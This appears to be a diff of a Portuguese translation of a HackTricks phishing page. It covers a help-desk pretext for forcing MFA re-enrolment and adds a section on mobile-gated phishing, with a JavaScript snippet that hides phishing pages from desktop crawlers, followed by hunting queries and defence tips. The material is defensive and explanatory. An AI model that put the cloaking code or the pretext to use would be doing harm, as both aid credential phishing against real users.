• Implante **voice-biometric challenge phrases** para solicitações telefônicas de alto risco. • Implemente **frases-desafio biométricas de voz** para solicitações telefônicas de alto risco.
• Simule continuamente iscas geradas por AI em programas de conscientização templates estáticos estão obsoletos. • Simule continuamente iscas geradas por IA em programas de conscientização modelos estáticos estão obsoletos.
See also agentic browsing abuse for credential phishing: See also agentic browsing abuse for credential phishing:
@ -527,13 +527,13 @@ ai-agent-mode-phishing-abusing-hosted-agent-browsers.md
--- ---
## MFA Fatigue / Push Bombing Variant Forced Reset ## MFA Fatigue / Push Bombing Variant Forced Reset
Além do clássico push-bombing, operadores simplesmente **forçam um novo registro de MFA** durante a ligação ao help-desk, aniquilando o token existente do usuário. Qualquer prompt de login subsequente parece legítimo para a vítima. Além do clássico push-bombing, operadores simplesmente **forçam um novo registro de MFA** durante a chamada ao help-desk, anulando o token existente do usuário. Qualquer prompt de login subsequente parece legítimo para a vítima.
```text ```text
[Attacker] → Help-Desk: “I lost my phone while travelling, can you unenrol it so I can add a new authenticator?” [Attacker] → Help-Desk: “I lost my phone while travelling, can you unenrol it so I can add a new authenticator?”
[Help-Desk] → AzureAD: Delete existing methods → sends registration e-mail [Help-Desk] → AzureAD: Delete existing methods → sends registration e-mail
[Attacker] → Completes new TOTP enrolment on their own device [Attacker] → Completes new TOTP enrolment on their own device
``` ```
Monitore eventos do AzureAD/AWS/Okta onde **`deleteMFA` + `addMFA`** ocorrem **em questão de minutos vindos do mesmo IP**. Monitore eventos do AzureAD/AWS/Okta em que **`deleteMFA` + `addMFA`** ocorram **no espaço de minutos a partir do mesmo IP**.
@ -553,12 +553,40 @@ clipboard-hijacking.md
mobile-phishing-malicious-apps.md mobile-phishing-malicious-apps.md
{{#endref}} {{#endref}}
## Referências ### Mobilegated phishing to evade crawlers/sandboxes
Os operadores cada vez mais colocam seus fluxos de phishing atrás de uma verificação simples de dispositivo para que crawlers desktop nunca alcancem as páginas finais. Um padrão comum é um pequeno script que testa se o DOM é compatível com touch e envia o resultado para um endpoint do servidor; clientes nãomóveis recebem HTTP 500 (ou uma página em branco), enquanto usuários móveis recebem o fluxo completo.
Minimal client snippet (typical logic):
```html
<script src="/static/detect_device.js"></script>
```
`detect_device.js` lógica (simplificada):
```javascript
const isMobile = ('ontouchstart' in document.documentElement);
fetch('/detect', {method:'POST', headers:{'Content-Type':'application/json'}, body: JSON.stringify({is_mobile:isMobile})})
.then(()=>location.reload());
```
Server behaviour often observed:
- Define um session cookie durante o primeiro carregamento.
- Aceita `POST /detect {"is_mobile":true|false}`.
- Retorna 500 (ou placeholder) para GETs subsequentes quando `is_mobile=false`; serve phishing apenas se `true`.
Hunting and detection heuristics:
- Consulta urlscan: `filename:"detect_device.js" AND page.status:500`
- Telemetria web: sequência de `GET /static/detect_device.js``POST /detect` → HTTP 500 para nãomóvel; caminhos legítimos de vítima móvel retornam 200 com HTML/JS subsequente.
- Bloquear ou escrutinar páginas que condicionam o conteúdo exclusivamente ao `ontouchstart` ou verificações de dispositivo similares.
Defence tips:
- Execute crawlers com fingerprints semelhantes a mobile e JS ativado para revelar conteúdo restrito.
- Alertar sobre respostas 500 suspeitas após `POST /detect` em domínios recém-registrados.
## References
- [https://zeltser.com/domain-name-variations-in-phishing/](https://zeltser.com/domain-name-variations-in-phishing/) - [https://zeltser.com/domain-name-variations-in-phishing/](https://zeltser.com/domain-name-variations-in-phishing/)
- [https://0xpatrik.com/phishing-domains/](https://0xpatrik.com/phishing-domains/) - [https://0xpatrik.com/phishing-domains/](https://0xpatrik.com/phishing-domains/)
- [https://darkbyte.net/robando-sesiones-y-bypasseando-2fa-con-evilnovnc/](https://darkbyte.net/robando-sesiones-y-bypasseando-2fa-con-evilnovnc/) - [https://darkbyte.net/robando-sesiones-y-bypasseando-2fa-con-evilnovnc/](https://darkbyte.net/robando-sesiones-y-bypasseando-2fa-con-evilnovnc/)
- [https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy](https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy) - [https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy](https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy)
- [2025 Unit 42 Global Incident Response Report Social Engineering Edition](https://unit42.paloaltonetworks.com/2025-unit-42-global-incident-response-report-social-engineering-edition/) - [2025 Unit 42 Global Incident Response Report Social Engineering Edition](https://unit42.paloaltonetworks.com/2025-unit-42-global-incident-response-report-social-engineering-edition/)
- [Silent Smishing mobile-gated phishing infra and heuristics (Sekoia.io)](https://blog.sekoia.io/silent-smishing-the-hidden-abuse-of-cellular-router-apis/)
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}